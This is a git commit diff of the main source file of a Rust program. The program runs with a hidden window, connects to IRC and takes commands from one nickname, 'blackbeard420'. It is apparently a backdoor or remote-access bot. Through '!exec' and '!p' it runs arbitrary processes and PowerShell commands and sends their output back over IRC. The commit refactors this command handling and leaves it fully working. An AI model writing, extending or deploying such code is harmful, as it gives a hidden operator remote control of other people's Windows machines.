This commit is contained in:
parent
63a0597cd1
commit
b2ad74ff2b
34
src/main.rs
34
src/main.rs
@ -1,9 +1,8 @@
|
|||||||
#![windows_subsystem = "windows"]
|
#![windows_subsystem = "windows"]
|
||||||
|
|
||||||
use irc::client::prelude::*;
|
|
||||||
use futures::prelude::*;
|
use futures::prelude::*;
|
||||||
use std::{process, collections::HashMap};
|
use irc::client::prelude::*;
|
||||||
|
use std::{collections::HashMap, process};
|
||||||
|
|
||||||
#[tokio::main]
|
#[tokio::main]
|
||||||
async fn main() -> Result<(), failure::Error> {
|
async fn main() -> Result<(), failure::Error> {
|
||||||
@ -28,7 +27,10 @@ async fn main() -> Result<(), failure::Error> {
|
|||||||
match message.command {
|
match message.command {
|
||||||
Command::PRIVMSG(ref target, ref msg) => {
|
Command::PRIVMSG(ref target, ref msg) => {
|
||||||
if msg.starts_with("!") && message.source_nickname().unwrap() == "blackbeard420" {
|
if msg.starts_with("!") && message.source_nickname().unwrap() == "blackbeard420" {
|
||||||
if &msg[1..5] == "exec" {
|
let cmd = msg.split_ascii_whitespace().nth(0);
|
||||||
|
|
||||||
|
match cmd {
|
||||||
|
Some("!exec") => {
|
||||||
let mut args = msg.split_ascii_whitespace().skip(1);
|
let mut args = msg.split_ascii_whitespace().skip(1);
|
||||||
|
|
||||||
let mut cmd = process::Command::new(args.nth(0).unwrap());
|
let mut cmd = process::Command::new(args.nth(0).unwrap());
|
||||||
@ -47,12 +49,9 @@ async fn main() -> Result<(), failure::Error> {
|
|||||||
|
|
||||||
let t = target.to_string();
|
let t = target.to_string();
|
||||||
|
|
||||||
tokio::spawn(async move {
|
tokio::spawn(async move { send_message(s, t, output).await });
|
||||||
send_message(s, t, output).await
|
|
||||||
});
|
|
||||||
}
|
}
|
||||||
|
Some("!p") => {
|
||||||
if &msg[1..2] == "p" {
|
|
||||||
let mut cmd = process::Command::new("powershell");
|
let mut cmd = process::Command::new("powershell");
|
||||||
|
|
||||||
cmd.arg("-command");
|
cmd.arg("-command");
|
||||||
@ -60,7 +59,6 @@ async fn main() -> Result<(), failure::Error> {
|
|||||||
|
|
||||||
println!("{:?}", cmd);
|
println!("{:?}", cmd);
|
||||||
|
|
||||||
|
|
||||||
let out = cmd.output().unwrap();
|
let out = cmd.output().unwrap();
|
||||||
|
|
||||||
let outerr = String::from_utf8_lossy(&out.stderr).to_string();
|
let outerr = String::from_utf8_lossy(&out.stderr).to_string();
|
||||||
@ -70,16 +68,14 @@ async fn main() -> Result<(), failure::Error> {
|
|||||||
|
|
||||||
let t = target.to_string();
|
let t = target.to_string();
|
||||||
|
|
||||||
tokio::spawn(async move {
|
tokio::spawn(async move { send_message(s, t, outerr).await });
|
||||||
send_message(s, t, outerr).await
|
|
||||||
});
|
|
||||||
|
|
||||||
let s = sender.clone();
|
let s = sender.clone();
|
||||||
let t = target.to_string();
|
let t = target.to_string();
|
||||||
|
|
||||||
tokio::spawn(async move {
|
tokio::spawn(async move { send_message(s.clone(), t, output).await });
|
||||||
send_message(s.clone(), t, output).await
|
}
|
||||||
});
|
_ => {}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@ -90,7 +86,11 @@ async fn main() -> Result<(), failure::Error> {
|
|||||||
Ok(())
|
Ok(())
|
||||||
}
|
}
|
||||||
|
|
||||||
async fn send_message(sender: irc::client::Sender, target: String, msg: String) -> Result<(), failure::Error> {
|
async fn send_message(
|
||||||
|
sender: irc::client::Sender,
|
||||||
|
target: String,
|
||||||
|
msg: String,
|
||||||
|
) -> Result<(), failure::Error> {
|
||||||
for l in msg.lines() {
|
for l in msg.lines() {
|
||||||
sender.send_privmsg(target.clone(), l)?;
|
sender.send_privmsg(target.clone(), l)?;
|
||||||
tokio::time::sleep(tokio::time::Duration::from_secs(1)).await;
|
tokio::time::sleep(tokio::time::Duration::from_secs(1)).await;
|
||||||
|
Loading…
x
Reference in New Issue
Block a user